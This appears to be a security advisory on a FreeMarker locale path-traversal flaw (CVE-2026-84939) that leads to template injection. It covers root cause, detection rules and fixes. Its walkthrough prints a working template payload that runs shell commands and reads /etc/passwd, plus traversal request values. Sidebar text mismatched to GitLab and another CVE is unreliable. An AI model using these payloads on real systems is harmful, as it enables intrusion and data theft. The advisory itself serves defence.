CVE-2026-84939: Path Traversal to Remote Template Injection and Code Execution via Malformed Locale in Apache FreeMarker
HERMES THREAT SCORE & TEMPLATE ESCAPE RISK
Target:Apache FreeMarker Template Engine — Localized Lookup & TemplateLoaders CVSS v3.1 rates CVE-2026-84939 at 9.1 (CRITICAL). Hermes evaluates overall operational risk at 92. FreeMarker is embedded across thousands of enterprise Java frameworks (Spring Boot, Apache Struts, Liferay, Alfresco, OFBiz, and custom microservices). By default, localized template lookup is enabled. When applications parse user-supplied HTTP headers (e.g. Accept-Language) or query parameters into Locale instances without strict alphanumeric validation, directory traversal tokens (../) are injected into the resolved template path. In configurations where attackers can upload files or access sibling directories, this path traversal converts directly into Server-Side Template Injection (SSTI) and arbitrary remote code execution via FreeMarker's native execution classes.
HASS AGENTIC SEVERITY & SCAFFOLDING INJECTION
Target:Developer Toolchains, AI Code Scaffolding Engines & Prompt Templating Systems In AI developer tooling and automated agent code generation environments, FreeMarker is frequently utilized to render dynamic source code scaffolds, prompt templates, and pipeline configurations. Template traversal vulnerabilities enable prompt injection or malicious code injection into the generated output artifacts.
CVE-2026-84939: Path Traversal to Remote Template Injection and Code Execution via Malformed Locale in Apache FreeMarkerVULNERABILITY
Complete DevOps and DevSecOps lifecycle platform providing Git repository management, CI/CD pipelines, and security automation.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in GitLab Community & Enterprise Edition documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled “1. Technical Context & Affected Software Matrix”FreeMarker’s architecture delegates template discovery to concrete implementations of the TemplateLoader interface.
| Parameter | Technical Specification | Operational Significance |
|---|---|---|
| CVE Identifier | CVE-2026-84939 | Official Apache FreeMarker Advisory |
| Vulnerability Class | Path Traversal / Template Injection (CWE-22, CWE-1336) | Directory escape via locale token concatenation |
| Vulnerable Component | freemarker.cache.TemplateCache, ClassTemplateLoader, WebappTemplateLoader | Core template resolution subsystem |
| Trigger Mechanism | Malformed Locale object containing .. sequences | Localized lookup builds paths backing out of root |
| Default Configuration | localized_lookup = true | Vulnerable out of the box in default setups |
| Privileges Required | None (PR:N) | Attacker controls HTTP request headers or parameters |
| User Interaction | None (UI:N) | Direct server-side request processing |
| Affected Versions | org.freemarker:freemarker 2.2.0 - 2.3.34org.freemarker:freemarker-gae 2.2.0 - 2.3.34 | Enterprise Java web applications, portals, and REST backends |
| Remediated Version | 2.3.35 | Introduces _TemplatePathUtils.isInsideBaseDir validation |
2. Vulnerability Anatomy & Root Cause Analysis
Section titled “2. Vulnerability Anatomy & Root Cause Analysis”The Localized Lookup Mechanism
Section titled “The Localized Lookup Mechanism”When an application requests a template:
Template t = cfg.getTemplate("invoice.ftl", userLocale);If localized_lookup is enabled (the default), FreeMarker constructs a succession of candidate filenames matching the client’s locale hierarchy. For example, for a locale fr_CA_montreal:
invoice_fr_CA_montreal.ftlinvoice_fr_CA.ftlinvoice_fr.ftlinvoice.ftl
FreeMarker constructs these candidate names by concatenating the base template name with underscores and the string representations of the locale’s getLanguage(), getCountry(), and getVariant().
The Path Traversal Flaw
Section titled “The Path Traversal Flaw”Web frameworks (such as Spring MVC or custom controllers) frequently construct Locale objects directly from user-supplied input:
// Common pattern converting request parameters to LocaleString langParam = request.getParameter("lang"); // Attacker sends: "../../uploads/evil"Locale userLocale = Locale.forLanguageTag(langParam); // or new Locale("en", "..", "evil")Template template = freemarkerConfig.getTemplate("public/index.ftl", userLocale);During localized lookup, FreeMarker synthesized candidate paths such as:
public/index_en_.._evil.ftl → resolving to index_evil.ftl in the parent directory!
While FileTemplateLoader enforced canonical path boundaries against its baseDir, other critical loaders did not:
ClassTemplateLoaderloads resources viaClassLoader.getResource(), allowing path traversal across the classpath.WebappTemplateLoaderretrieves streams viaServletContext.getResource(), permitting traversal across web application directories (including/WEB-INF/,/upload/, and temporary directories).
Because no check verified that the path did not back out of the root directory (/), the loader served templates located completely outside the intended template sandbox.
3. Threat Vectors, Exploitation Mechanics & Attack Flow
Section titled “3. Threat Vectors, Exploitation Mechanics & Attack Flow”Attack Flow Architecture
Section titled “Attack Flow Architecture”flowchart TD A["Adversary / HTTP Client"] -->|"1. Injects malformed locale (Accept-Language: .._.._uploads_evil)"| B["Enterprise Web Application (Spring / Struts)"] B -->|"2. Constructs unvalidated Java Locale"| C["FreeMarker Configuration.getTemplate('view.ftl', locale)"] C -->|"3. Localized lookup builds traversal path"| D["WebappTemplateLoader / ClassTemplateLoader"] D -->|"4. Path escapes /templates/ baseDir into /uploads/"| E["Loads attacker-uploaded evil.ftl"] E -->|"5. Template executes FreeMarker built-in: ?new()"| F["freemarker.template.utility.Execute"] F -->|"6. Arbitrary OS Command Execution"| G["Full Host / Container Compromise"]Exploit Payload Walkthrough
Section titled “Exploit Payload Walkthrough”Step 1: Upload a Benign-Looking Template File
Section titled “Step 1: Upload a Benign-Looking Template File”In many enterprise applications, users can upload avatars, attachments, or CSV imports. An attacker uploads a file named payload.ftl (or disguises it as avatar.png containing template syntax):
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id; uname -a; cat /etc/passwd") }Step 2: Trigger Localized Path Traversal
Section titled “Step 2: Trigger Localized Path Traversal”The attacker sends an HTTP request manipulating the language parameter:
GET /portal/home?lang=.._.._uploads_avatar.png HTTP/1.1Host: vulnerable-target.comAccept-Language: ../../uploads/payloadWhen FreeMarker processes cfg.getTemplate("home.ftl", locale):
- Localized lookup attempts to open
home_.._.._uploads_payload.ftl. - The loader normalizes the traversal sequences, escaping the template folder and resolving to
/var/app/uploads/payload.ftl. - FreeMarker compiles and executes the template.
- The
Executeutility class executesid; uname -aand renders the output directly into the HTTP response.
4. Doctrinal Impact on Enterprise Java Stacks & Developer Tooling
Section titled “4. Doctrinal Impact on Enterprise Java Stacks & Developer Tooling”1. Ubiquitous Presence in Enterprise Architecture
Section titled “1. Ubiquitous Presence in Enterprise Architecture”FreeMarker is deeply embedded in legacy and modern Java stacks. A path traversal vulnerability in the core template lookup mechanism invalidates architectural boundaries across multi-tenant CMS portals, report generators, and email dispatchers.
2. Escalation from Traversal to Remote Code Execution
Section titled “2. Escalation from Traversal to Remote Code Execution”Unlike read-only path traversals, in template engines a successful traversal to an attacker-controlled file immediately converts into Server-Side Template Injection (SSTI). FreeMarker’s extensive built-in expression language provides direct avenues to instantiate arbitrary Java classes.
3. Impact on Automated Code Generation & AI Scaffolding
Section titled “3. Impact on Automated Code Generation & AI Scaffolding”Modern AI developer tools and agentic code scaffolds generate microservices from FreeMarker templates. An attacker capable of traversing into custom templates can inject malicious logic, backdoors, or telemetry harvesters into downstream generated code.
5. Threat Hunting, Detection & Forensic Investigation
Section titled “5. Threat Hunting, Detection & Forensic Investigation”Sigma Rule: Apache FreeMarker Malformed Locale Traversal in Web Logs
Section titled “Sigma Rule: Apache FreeMarker Malformed Locale Traversal in Web Logs”title: Apache FreeMarker Malformed Locale Path Traversal Attempt (CVE-2026-84939)id: cve-2026-84939-freemarker-traversalstatus: experimentaldescription: Detects directory traversal tokens (../, ..\, %2e%2e) embedded within Accept-Language headers or locale URL query parameters targeting FreeMarker web applications.author: Hermes Codex Threat Intelligencedate: 2026-09-14references: - https://lists.apache.org/thread/hrd7o2ylwkkswdyhyzllgqt0f80kyd5y - https://nvd.nist.gov/vuln/detail/CVE-2026-84939tags: - attack.initial_access - attack.t1190 - attack.defense_evasionlogsource: category: webserverdetection: selection_traversal: cs-method: - GET - POST c-uri-query|contains: - "../" - "..\\" - "%2e%2e" - ".._" - "_.." selection_headers: cs(Accept-Language)|contains: - "../" - "..\\" - "%2e%2e" - ".." condition: selection_traversal or selection_headersfalsepositives: - Rare legitimate multi-part locale tags with non-standard vendor subtag formats.level: highModSecurity / WAF Rule
Section titled “ModSecurity / WAF Rule”# Block directory traversal in Accept-Language or locale parametersSecRule REQUEST_HEADERS:Accept-Language "@rx (\.\./|\.\.\\|%2e%2e)" \ "id:100084939,phase:1,deny,status:403,log,msg:'Potential FreeMarker Locale Path Traversal (CVE-2026-84939)'"
SecRule ARGS:locale|ARGS:lang "@rx (\.\./|\.\.\\|%2e%2e|\.\._|_\.\.)" \ "id:100084940,phase:2,deny,status:403,log,msg:'FreeMarker Traversal in Locale Parameter (CVE-2026-84939)'"6. MITRE ATT&CK Mapping
Section titled “6. MITRE ATT&CK Mapping”| Tactical Phase | Technique ID | Technique Name | Exploitation Context |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Injecting traversal sequences via HTTP headers/parameters |
| Execution | T1059 | Command and Scripting Interpreter | SSTI via freemarker.template.utility.Execute |
| Defense Evasion | T1036 | Masquerading | Disguising FTL templates inside avatar/image uploads |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Escaping application context to execute OS commands |
| Collection | T1005 | Data from Local System | Traversing to read internal configuration and database secrets |
7. Comprehensive Remediation & Hardening Guide
Section titled “7. Comprehensive Remediation & Hardening Guide”1. Upgrade to Apache FreeMarker 2.3.35 Immediately
Section titled “1. Upgrade to Apache FreeMarker 2.3.35 Immediately”Deploy version 2.3.35 across all application dependencies. FreeMarker 2.3.35 introduces _TemplatePathUtils.isInsideBaseDir(name) inside ClassTemplateLoader and WebappTemplateLoader, strictly verifying that template paths do not navigate out of the root directory and throwing MalformedTemplateNameException upon traversal attempts:
<!-- Maven Dependency Upgrade --><dependency> <groupId>org.freemarker</groupId> <artifactId>freemarker</artifactId> <version>2.3.35</version></dependency>2. Immediate Workaround: Disable Localized Lookup
Section titled “2. Immediate Workaround: Disable Localized Lookup”If upgrading immediately is not feasible, disable localized_lookup in your FreeMarker configuration. When localized lookup is disabled, FreeMarker loads only the exact template filename specified without appending locale subtags:
// Workaround: disable localized lookup globallyfreemarkerConfig.setLocalizedLookup(false);Or in application.properties (Spring Boot):
spring.freemarker.settings.localized_lookup=false3. Restrict TemplateClassResolver Execution
Section titled “3. Restrict TemplateClassResolver Execution”Harden FreeMarker’s class resolver to prohibit execution of dangerous utility classes such as Execute and ObjectConstructor:
// Enforce Safe/TemplateClassResolver restrictionsfreemarkerConfig.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);